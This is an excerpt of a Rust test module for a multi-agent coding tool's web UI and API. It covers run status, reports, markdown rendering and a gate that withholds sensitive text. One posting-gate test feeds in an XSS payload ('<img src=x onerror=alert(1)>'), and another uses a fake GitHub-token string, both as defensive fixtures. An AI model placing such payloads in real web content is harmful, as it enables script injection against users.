16822 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
16823 state.driver_pid = Some(std::process::id());
16828 state.driver_started_at = Some("1".to_owned());
16829 let dir = f.runs().join(id);
16830 std::fs::create_dir_all(&dir).expect("run dir");
16831 std::fs::write(
16832 dir.join("run.json"),
16833 serde_json::to_string_pretty(&state).expect("serialize run"),
16834 )
16835 .expect("write run.json");
16836
16837 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16838 assert_eq!(detail["live"], "dead", "{detail}");
16839 }
16840
16841 #[test]
16845 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
16846 let mk = |id: &str, pid: Option<u32>| {
16847 let mut s = RunState::new(
16848 PathBuf::from("/repo/magi"),
16849 "main".to_owned(),
16850 "0123456789abcdef".to_owned(),
16851 "Add a web UI".to_owned(),
16852 Config::default(),
16853 );
16854 s.id = id.to_owned();
16855 s.driver_pid = pid;
16856 s.driver_started_at = Some("1790000000".to_owned());
16857 s
16858 };
16859 let states = vec![
16860 mk("20260902-140502-aaaa", Some(77)),
16861 mk("20260902-140502-bbbb", Some(77)),
16862 mk("20260902-140502-cccc", Some(77)),
16863 mk("20260902-140502-dddd", None),
16864 ];
16865 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
16866 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
16867 let sup: HashMap<String, String> = [(
16868 "20260902-140502-aaaa".to_owned(),
16869 "20260902-140502-cccc".to_owned(),
16870 )]
16871 .into();
16872
16873 let status_calls = std::cell::Cell::new(0);
16874 let identity_calls = std::cell::Cell::new(0);
16875 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
16876 |_| {
16877 status_calls.set(status_calls.get() + 1);
16878 Some(true)
16879 },
16880 |_| {
16881 identity_calls.set(identity_calls.get() + 1);
16882 Some("1790000000".to_owned())
16883 },
16884 ));
16885 let rows = summarize(
16886 states,
16887 &open,
16888 &claimed,
16889 &sup,
16890 |p| probe.borrow_mut().status(p),
16891 |p| probe.borrow_mut().started_at(p),
16892 );
16893
16894 assert_eq!(status_calls.get(), 1, "one pid, one status query");
16895 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
16896 assert_eq!(rows.len(), 4);
16897 assert!(!rows[0].waiting && rows[1].waiting);
16898 assert_eq!(rows[0].live, crate::run::Liveness::Live);
16899 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
16900 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
16901 assert_eq!(rows[1].superseded_by, None);
16902 }
16903
16904 #[test]
16905 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
16906 let mut state = RunState::new(
16907 PathBuf::from("/repo/magi"),
16908 "main".to_owned(),
16909 "0123456789abcdef".to_owned(),
16910 "Review only".to_owned(),
16911 Config::default(),
16912 );
16913 state.id = "20260922-090200-dead".to_owned();
16914 state.status = RunStatus::Reviewing;
16915 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
16916 .expect("serialize list row");
16917 assert_eq!(row["status"], "reviewing");
16918 assert_eq!(row["display_status"], "stale");
16919 assert_eq!(row["live"], "dead", "{row}");
16920 assert!(!row["done"].as_bool().unwrap());
16921 }
16922
16923 #[test]
16924 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
16925 use crate::run::Liveness::{Dead, Live, Unknown};
16926 let mut state = RunState::new(
16927 PathBuf::from("/repo/magi"),
16928 "main".to_owned(),
16929 "abc".to_owned(),
16930 "Review only".to_owned(),
16931 Config::default(),
16932 );
16933 for (status, parked, node, waiting, live, expected) in [
16934 (
16935 RunStatus::Judging,
16936 true,
16937 "github-text",
16938 false,
16939 Dead,
16940 "parked",
16941 ),
16942 (RunStatus::Judging, false, "park", false, Dead, "stale"),
16943 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
16944 (
16945 RunStatus::Judging,
16946 true,
16947 "github-text",
16948 true,
16949 Dead,
16950 "waiting",
16951 ),
16952 (
16953 RunStatus::Judging,
16954 false,
16955 "github-text",
16956 true,
16957 Dead,
16958 "waiting",
16959 ),
16960 (
16961 RunStatus::Judging,
16962 false,
16963 "github-text",
16964 false,
16965 Dead,
16966 "stale",
16967 ),
16968 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
16969 (RunStatus::Judging, true, "park", false, Live, "judging"),
16970 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
16971 (RunStatus::Merged, true, "park", false, Dead, "merged"),
16972 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
16973 (
16974 RunStatus::Blocked,
16975 true,
16976 "github-text",
16977 true,
16978 Dead,
16979 "waiting",
16980 ),
16981 ] {
16982 state.status = status;
16983 state.parked = parked;
16984 state.events.clear();
16985 state.event(
16986 "park",
16987 "an earlier park does not determine the latest state",
16988 );
16989 state.event(node, "message is not used for classification");
16990 let summary = RunSummary::of(&state, waiting, live);
16991 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
16992 assert_eq!(
16993 summary.display_status, expected,
16994 "{status:?}/{node}/{live:?}"
16995 );
16996 assert_eq!(detail.display_status, summary.display_status);
16997 assert_eq!(detail.waiting, summary.waiting);
16998 }
16999 state.status = RunStatus::Judging;
17000 state.parked = false;
17001 state.events.clear();
17002 assert_eq!(run_display_status(&state, false, Dead), "stale");
17003 }
17004
17005 #[test]
17006 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
17007 use crate::run::Liveness::{Dead, Live, Unknown};
17008 let mut state = RunState::new(
17009 PathBuf::from("/repo/magi"),
17010 "main".to_owned(),
17011 "abc".to_owned(),
17012 "Badge".to_owned(),
17013 Config::default(),
17014 );
17015 for (status, waiting, live, superseded, expected) in [
17016 (RunStatus::Gating, false, Dead, false, "stale"),
17017 (RunStatus::Gating, false, Dead, true, "superseded"),
17018 (RunStatus::Gating, false, Unknown, true, "superseded"),
17019 (RunStatus::Gating, true, Dead, true, "superseded"),
17020 (RunStatus::Gating, true, Dead, false, "waiting"),
17021 (RunStatus::Gating, false, Unknown, false, "gating"),
17022 (RunStatus::Gating, false, Live, true, "gating"),
17023 (RunStatus::Gating, true, Live, true, "waiting"),
17024 (RunStatus::Merged, false, Dead, true, "merged"),
17025 (RunStatus::Blocked, false, Dead, true, "blocked"),
17026 ] {
17027 state.status = status;
17028 let display = run_display_status(&state, waiting, live);
17029 assert_eq!(
17030 run_badge_status(&state, &display, live, superseded),
17031 expected,
17032 "{status:?}/{live:?}/superseded={superseded}"
17033 );
17034 }
17035 }
17036
17037 #[test]
17038 fn summarize_and_detail_expose_badge_status() {
17039 use crate::run::Liveness::Dead;
17040 let mut state = RunState::new(
17041 PathBuf::from("/repo/magi"),
17042 "main".to_owned(),
17043 "abc".to_owned(),
17044 "Badge".to_owned(),
17045 Config::default(),
17046 );
17047 state.status = RunStatus::Gating;
17048 let none = HashSet::new();
17049 let id = state.id.clone();
17050 let mut by = HashMap::new();
17051 let rows = summarize(
17052 [state.clone()],
17053 &none,
17054 &none,
17055 &by,
17056 |_| Some(false),
17057 |_| None,
17058 );
17059 assert_eq!(rows[0].badge_status, rows[0].display_status);
17061 by.insert(id, "20260901-000000-913b".to_owned());
17062 let detail = RunDetailView::of(
17063 state.clone(),
17064 false,
17065 Dead,
17066 Some("913b".to_owned()),
17067 None,
17068 None,
17069 );
17070 assert_eq!(detail.badge_status, "superseded");
17071 let json = serde_json::to_value(&detail).unwrap();
17072 assert_eq!(json["badge_status"], "superseded");
17073 let detail = RunDetailView::of(state, false, Dead, None, None, None);
17074 assert_eq!(detail.badge_status, "stale");
17075 }
17076
17077 #[tokio::test]
17078 async fn run_display_status_routes_share_the_open_question_store() {
17079 let f = Fixture::start().await;
17080 let id = "20260922-090200-abcd";
17081 write_run(&f.runs(), id, RunStatus::Judging);
17082 let mut state = read_run(&f.runs(), id).unwrap();
17083 state.parked = true;
17084 state.driver_exited = true;
17085 state.event("github-text", "waiting for the owner");
17086 state.save_under(f.home.path()).unwrap();
17087 let mut task = Task::new(
17088 "resumed task".to_owned(),
17089 "do it".to_owned(),
17090 PathBuf::from("/repo"),
17091 Source::Human,
17092 );
17093 task.runs = vec![id.to_owned(), id.to_owned()];
17094 f.queue().put(&mut task).unwrap();
17095 let store = f.questions();
17096 let mut q = Question::new(
17097 id.to_owned(),
17098 "github-text".to_owned(),
17099 "owner".to_owned(),
17100 "Approve the text?".to_owned(),
17101 String::new(),
17102 Vec::new(),
17103 );
17104 store.put(&mut q).unwrap();
17105 for expected in ["waiting", "parked"] {
17106 let list = f.get("/api/runs").await.json();
17107 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17108 assert_eq!(list[0]["display_status"], expected);
17109 assert_eq!(detail["display_status"], expected);
17110 assert_eq!(detail["waiting"], list[0]["waiting"]);
17111 assert_eq!(list[0]["badge_status"], expected);
17112 assert_eq!(detail["badge_status"], expected);
17113 assert!(list[0]["superseded_by"].is_null());
17114 assert!(detail["superseded_by"].is_null());
17115 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
17116 let history = task_detail["history"].as_array().unwrap();
17117 assert_eq!(history.len(), 2);
17118 assert!(history[0]["badge"].is_null());
17119 assert_eq!(history[1]["badge"], expected);
17120 q.status = ask::QuestionStatus::Answered;
17121 store.put(&mut q).unwrap();
17122 }
17123 }
17124
17125 #[tokio::test]
17126 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
17127 let f = Fixture::start().await;
17128 let id = "20260922-090200-abcd";
17129 write_run(&f.runs(), id, RunStatus::Judging);
17130 let mut state = read_run(&f.runs(), id).unwrap();
17131 state.parked = true;
17132 state.driver_exited = true;
17133 state.event("park", "stopped at a node boundary");
17134 state.save_under(f.home.path()).unwrap();
17135
17136 for expected in ["parked", "stale"] {
17137 let list = f.get("/api/runs").await.json();
17138 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17139 assert_eq!(list[0]["live"], "dead");
17140 assert_eq!(list[0]["display_status"], expected);
17141 assert_eq!(detail["display_status"], expected);
17142 state.parked = false;
17145 state.save_under(f.home.path()).unwrap();
17146 }
17147 }
17148
17149 #[tokio::test]
17150 async fn the_run_list_is_newest_first_and_honours_a_limit() {
17151 let f = Fixture::start().await;
17152 for id in [
17153 "20260902-140501-aaaa",
17154 "20260902-140502-bbbb",
17155 "20260902-140503-cccc",
17156 ] {
17157 write_run(&f.runs(), id, RunStatus::Merged);
17158 }
17159
17160 let all = f.get("/api/runs").await.json();
17161 let capped = f.get("/api/runs?limit=2").await.json();
17162
17163 assert_eq!(all[0]["id"], "20260902-140503-cccc");
17164 assert_eq!(all.as_array().map(Vec::len), Some(3));
17165 assert_eq!(capped.as_array().map(Vec::len), Some(2));
17166 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
17167 }
17168
17169 #[tokio::test]
17170 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
17171 let f = Fixture::start().await;
17172 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
17173
17174 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
17175
17176 assert_eq!(res.status, 200);
17177 assert!(
17178 res.headers
17179 .contains("content-type: text/plain; charset=utf-8"),
17180 "a browser must render it, not download it: {}",
17181 res.headers
17182 );
17183 assert!(
17187 res.body.contains("20260902-140501-a1b2"),
17188 "the report is about the run that was asked for: {}",
17189 res.body
17190 );
17191 }
17192
17193 #[tokio::test]
17194 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
17195 crate::run::pin_test_home();
17197 let f = Fixture::start().await;
17198 let id = "20260902-140501-a1b2";
17199 write_run(&f.runs(), id, RunStatus::Stalled);
17200 let path = f.runs().join(id).join("run.json");
17203 let mut v: serde_json::Value =
17204 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17205 v["tally"] = serde_json::json!({
17206 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17207 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
17208 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
17209 "met_quorum": false, "rankings": 1
17210 });
17211 v["reviews"] = serde_json::json!([{
17212 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
17213 "e2e_deferred": true,
17214 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
17215 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
17216 ]}]
17217 }]);
17218 std::fs::write(&path, v.to_string()).unwrap();
17219 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
17220 std::fs::write(
17221 f.runs().join("20260902-140502-dead").join("run.json"),
17222 "{not json",
17223 )
17224 .unwrap();
17225
17226 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17227
17228 assert_eq!(res.status, 200, "{}", res.body);
17229 assert!(res.headers.contains("content-type: application/json"));
17230 let j = res.json();
17231 assert_eq!(j["schema"], 1);
17232 assert_eq!(j["header"]["id"], id);
17233 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
17234 let kinds: Vec<&str> = j["sections"]
17235 .as_array()
17236 .unwrap()
17237 .iter()
17238 .map(|s| s["kind"].as_str().unwrap())
17239 .collect();
17240 assert_eq!(kinds, ["candidates", "tally", "review"]);
17241 let tally = &j["sections"][1]["tally"];
17242 assert_eq!(
17243 (tally["decided"].clone(), tally["provisional"].clone()),
17244 (false.into(), true.into())
17245 );
17246 let round = &j["sections"][2]["rounds"][0];
17247 assert_eq!(round["e2e"]["state"], "deferred");
17248 assert_eq!(round["findings"][0]["severity"], "major");
17249 assert_eq!(round["findings"][0]["blocking"], true);
17250 assert_eq!(round["findings"][0]["state"], "open");
17251
17252 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
17254
17255 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
17257 assert_ne!(bad.status, 200, "{}", bad.body);
17258 assert_eq!(
17259 bad.status,
17260 f.get("/api/runs/20260902-140502-dead/report").await.status
17261 );
17262 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
17263 assert_eq!(
17264 f.get("/api/runs/20260902-999999-ffff/report.json")
17265 .await
17266 .status,
17267 404
17268 );
17269 }
17270
17271 #[tokio::test]
17272 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
17273 crate::run::pin_test_home();
17274 let f = Fixture::start().await;
17275 let id = "20260902-140503-delib";
17276 write_run(&f.runs(), id, RunStatus::Merged);
17277 let path = f.runs().join(id).join("run.json");
17278 let mut v: serde_json::Value =
17279 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17280 v["judgements"] = serde_json::json!([
17281 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17282 ]);
17283 v["tally"] = serde_json::json!({
17284 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17285 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
17286 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
17287 "met_quorum": true, "rankings": 1
17288 });
17289 v["deliberation"] = serde_json::json!([
17290 {
17291 "round": 1,
17292 "turns": [
17293 {
17294 "judge": 1,
17295 "agent": "judge-1",
17296 "body": "I prefer candidate **A** because it has cleaner tests.",
17297 "tentative": "A"
17298 }
17299 ]
17300 },
17301 {
17302 "round": 2,
17303 "turns": [
17304 {
17305 "judge": 1,
17306 "agent": "judge-1",
17307 "body": "Still thinking, no choice yet.",
17308 "tentative": null
17309 }
17310 ]
17311 }
17312 ]);
17313 std::fs::write(&path, v.to_string()).unwrap();
17314
17315 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17316 assert_eq!(res.status, 200, "{}", res.body);
17317 let j = res.json();
17318 let judging = j["sections"]
17319 .as_array()
17320 .unwrap()
17321 .iter()
17322 .find(|s| s["kind"] == "judging")
17323 .expect("judging section exists");
17324
17325 let delib_lines = judging["deliberation"].as_array().unwrap();
17327 assert_eq!(delib_lines.len(), 2);
17328 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
17329 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
17330
17331 let rounds = judging["rounds"].as_array().unwrap();
17333 assert_eq!(rounds.len(), 2);
17334 let r1_t0 = &rounds[0]["turns"][0];
17335 assert_eq!(r1_t0["judge"], 1);
17336 assert_eq!(r1_t0["agent"], "judge-1");
17337 assert_eq!(r1_t0["tentative"], "A");
17338 assert_eq!(
17339 r1_t0["body"],
17340 "I prefer candidate **A** because it has cleaner tests."
17341 );
17342 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
17343
17344 let r2_t0 = &rounds[1]["turns"][0];
17345 assert_eq!(r2_t0["judge"], 1);
17346 assert_eq!(r2_t0["agent"], "judge-1");
17347 assert!(r2_t0["tentative"].is_null());
17348 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
17349 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
17350
17351 let id_empty = "20260902-140504-nodelib";
17353 write_run(&f.runs(), id_empty, RunStatus::Merged);
17354 let path_empty = f.runs().join(id_empty).join("run.json");
17355 let mut v_empty: serde_json::Value =
17356 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
17357 v_empty["judgements"] = serde_json::json!([
17358 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17359 ]);
17360 v_empty["deliberation"] = serde_json::json!([]);
17361 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
17362
17363 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
17364 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
17365 let j_empty = res_empty.json();
17366 let judging_empty = j_empty["sections"]
17367 .as_array()
17368 .unwrap()
17369 .iter()
17370 .find(|s| s["kind"] == "judging")
17371 .expect("judging section exists");
17372 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
17373 }
17374
17375 #[tokio::test]
17376 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
17377 let f = Fixture::start().await;
17378
17379 let html = f.get("/").await;
17380 let css = f.get("/app.css").await;
17381 let js = f.get("/app.js").await;
17382
17383 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
17384 assert!(
17385 html.headers
17386 .contains("content-type: text/html; charset=utf-8")
17387 );
17388 assert!(css.headers.contains("content-type: text/css"));
17389 assert!(js.headers.contains("content-type: text/javascript"));
17390 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
17391 }
17392
17393 #[test]
17394 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
17395 let body = |name: &str| {
17396 let at = APP_JS
17397 .find(name)
17398 .unwrap_or_else(|| panic!("{name} missing"));
17399 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17400 };
17401 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
17402 let note = body("function landRoundNote");
17403 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
17404 assert!(note.contains("Land round ${round}"));
17405 let land = body("function renderLand");
17406 let note_at = land
17407 .find("landRoundNote(pr)")
17408 .expect("renderLand uses the note");
17409 assert!(
17410 note_at
17411 < land
17412 .find("roundRail(pr)")
17413 .expect("renderLand uses the rail")
17414 );
17415 }
17416
17417 #[test]
17418 fn the_runs_page_redesign_keeps_its_guards() {
17419 let body = |name: &str| {
17420 let at = APP_JS
17421 .find(name)
17422 .unwrap_or_else(|| panic!("{name} missing"));
17423 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17424 };
17425 let land = body("function renderLand");
17427 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
17428 assert!(
17429 !land.contains("box.append("),
17430 "renderLand must use append()"
17431 );
17432 assert!(land.contains("append(box, ["));
17433 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
17435 assert!(
17436 body("function applyRoute")
17437 .contains("route.name !== state.route.name || route.id !== state.route.id")
17438 );
17439 assert!(!APP_JS.contains("adviseConvergeDiagram"));
17441 assert!(!INDEX_HTML.contains("advise-converge"));
17442 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
17443 assert!(APP_JS.contains("provisional"));
17444 for id in [
17445 "run-tab-overview",
17446 "run-tab-timeline",
17447 "run-tab-report",
17448 "run-report",
17449 "runs-scope",
17450 ] {
17451 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
17452 }
17453 assert!(!INDEX_HTML.contains("runs-tree"));
17454 assert!(!INDEX_HTML.contains("run-raw-panel"));
17455 assert!(APP_JS.contains("resume"));
17457 assert!(APP_JS.contains("unreadable"));
17459 }
17460
17461 #[test]
17462 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
17463 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
17464 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
17465 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
17466 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
17467 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
17468 assert!(APP_JS.contains("unreadable` : null"));
17470 }
17471
17472 #[test]
17473 fn blocked_run_detail_exposes_the_failed_gate_reason() {
17474 let mut state = RunState::new(
17475 "/repo".into(),
17476 "main".into(),
17477 "abc".into(),
17478 "task".into(),
17479 crate::config::Config::default(),
17480 );
17481 state.status = RunStatus::Blocked;
17482 state.gate_ran = true;
17483 state.gate.push(crate::run::CommandOutcome {
17484 command: "cargo make check".into(),
17485 code: Some(1),
17486 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
17487 duration_ms: 0,
17488 resource_blocked: false,
17489 });
17490 let view = RunDetailView::of(
17491 state,
17492 false,
17493 crate::run::Liveness::Unknown,
17494 None,
17495 None,
17496 None,
17497 );
17498 let value = serde_json::to_value(view).unwrap();
17499 assert_eq!(
17500 value["stop_reason"],
17501 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
17502 );
17503 }
17504
17505 #[test]
17506 fn the_run_detail_payload_says_whether_the_run_is_done() {
17507 for (status, done) in [
17509 (RunStatus::Superseded, true),
17510 (RunStatus::Blocked, true),
17511 (RunStatus::Landing, false),
17512 ] {
17513 let mut state = RunState::new(
17514 std::path::PathBuf::from("/repo"),
17515 "main".to_owned(),
17516 "abc".to_owned(),
17517 "x".to_owned(),
17518 crate::config::Config::default(),
17519 );
17520 state.status = status;
17521 let v = serde_json::to_value(RunDetailView::of(
17522 state,
17523 false,
17524 crate::run::Liveness::Unknown,
17525 None,
17526 None,
17527 None,
17528 ))
17529 .unwrap();
17530 assert_eq!(v["done"], done, "{status:?}");
17531 }
17532 }
17533
17534 fn has_strong(nodes: &[md::Node]) -> bool {
17536 serde_json::to_string(nodes).unwrap().contains("strong")
17537 }
17538
17539 #[test]
17540 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
17541 let mut state = RunState::new(
17542 std::path::PathBuf::from("/repo"),
17543 "main".to_owned(),
17544 "abc".to_owned(),
17545 "x".to_owned(),
17546 crate::config::Config::default(),
17547 );
17548 let proposal = |approach: &str| {
17549 serde_json::json!({
17550 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
17551 })
17552 };
17553 state.advice = Some(
17554 serde_json::from_value(serde_json::json!({
17555 "records": [
17556 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
17557 "proposal": proposal("do **this**")},
17558 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
17559 ],
17560 "synthesis": "- one\n- **two**\n\n`code`",
17561 }))
17562 .unwrap(),
17563 );
17564 state.candidates = serde_json::from_value(serde_json::json!([
17565 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
17566 "summary": "did **it**"},
17567 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
17568 ]))
17569 .unwrap();
17570 state.reviews = serde_json::from_value(serde_json::json!([{
17573 "round": 1, "head": "h",
17574 "reviews": [{
17575 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
17576 "findings": [
17577 {"severity": "nit", "title": "t1", "detail": "plain nit"},
17578 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
17579 ],
17580 }],
17581 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
17582 "fix": {"agent": "a", "notes": "fixed **it**",
17583 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
17584 }, {"round": 2, "head": "h2", "reviews": []}]))
17585 .unwrap();
17586
17587 let v = serde_json::to_value(RunDetailView::of(
17588 state,
17589 false,
17590 crate::run::Liveness::Unknown,
17591 None,
17592 None,
17593 None,
17594 ))
17595 .unwrap();
17596
17597 let strong = |p: &str| {
17598 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
17599 assert!(n.to_string().contains("strong"), "{p}: {n}");
17600 };
17601 strong("/advice_md/synthesis");
17602 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
17603 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
17604 strong("/advice_md/approaches/0");
17605 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
17606 strong("/candidate_summaries_md/0");
17607 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
17608 strong("/reviews_md/0/reviewers/0/summary");
17609 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
17610 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
17611 assert!(f[1].to_string().contains("strong"));
17612 strong("/reviews_md/0/reconsideration/0");
17613 strong("/reviews_md/0/fix/notes");
17614 strong("/reviews_md/0/fix/rejected/0");
17615 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
17616 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
17617 assert_eq!(v["candidates"][0]["summary"], "did **it**");
17619 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
17620 }
17621
17622 #[test]
17623 fn a_run_without_advice_has_no_advice_md() {
17624 let state = RunState::new(
17625 std::path::PathBuf::from("/repo"),
17626 "main".to_owned(),
17627 "abc".to_owned(),
17628 "x".to_owned(),
17629 crate::config::Config::default(),
17630 );
17631 let p = run_prose_md(&state);
17632 assert!(p.advice_md.is_none());
17633 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
17634 }
17635
17636 #[test]
17637 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
17638 let store = ask::Questions::at(PathBuf::from("unused"));
17639 let gt = crate::github_text::Withheld {
17640 title: false,
17641 body: true,
17642 categories: vec!["sensitive-data".into()],
17643 };
17644 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
17645 let (detail, comparison) =
17646 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
17647 let mut q = Question::new(
17648 "r".into(),
17649 "github-text".into(),
17650 "posting-gate".into(),
17651 "s".into(),
17652 detail,
17653 Vec::new(),
17654 );
17655 assert!(
17656 QuestionView::of(q.clone(), &store, None)
17657 .posting_view
17658 .is_none()
17659 );
17660 q.posting_comparison = Some(comparison);
17661 let view = QuestionView::of(q.clone(), &store, None);
17662 let field = &view.posting_view.unwrap().fields[0];
17663 assert_eq!(
17664 field
17665 .original
17666 .iter()
17667 .map(|f| f.text.as_str())
17668 .collect::<String>(),
17669 body
17670 );
17671 assert!(field.original[0].text.starts_with("<img"));
17672 let original_question: Question =
17673 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
17674 assert_eq!(original_question, q);
17675 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
17676 .original
17677 .start = 1;
17678 assert!(
17679 QuestionView::of(q.clone(), &store, None)
17680 .posting_view
17681 .is_none()
17682 );
17683 q.posting_comparison = original_question.posting_comparison;
17684 q.detail.push_str("extra context");
17685 assert!(
17686 QuestionView::of(q.clone(), &store, None)
17687 .posting_view
17688 .is_some()
17689 );
17690 q.detail.insert(0, 'x');
17691 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
17692 }
17693
17694 #[test]
17695 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
17696 let store = ask::Questions::at(PathBuf::from("unused"));
17697 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
17698 let gt = crate::github_text::Withheld::from_check(
17699 &crate::github_text::check("fix: x", body),
17700 "fix: x",
17701 body,
17702 )
17703 .unwrap();
17704 let (detail, comparison) =
17705 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
17706 let mut q = Question::new(
17707 "r".into(),
17708 "github-text".into(),
17709 "posting-gate".into(),
17710 "s".into(),
17711 detail,
17712 Vec::new(),
17713 );
17714 q.posting_comparison = Some(comparison);
17715 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
17716 let field = &value["posting_view"]["fields"][0];
17717 let group = &field["replacement_group"];
17718 let triggers = group["triggers"].as_array().unwrap();
17719 assert_eq!(triggers.len(), 2);
17720 assert_ne!(triggers[0], triggers[1]);
17721 for id in triggers {
17722 assert!(
17723 field["original"]
17724 .as_array()
17725 .unwrap()
17726 .iter()
17727 .any(|f| &f["pair"] == id)
17728 );
17729 assert!(
17730 !field["changed"]
17731 .as_array()
17732 .unwrap()
17733 .iter()
17734 .any(|f| &f["pair"] == id)
17735 );
17736 }
17737 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
17738 group["id"].as_u64().unwrap() as usize;
17739 assert!(
17740 QuestionView::of(q, &store, None).posting_view.is_none(),
17741 "group and trigger IDs cannot collide"
17742 );
17743 }
17744
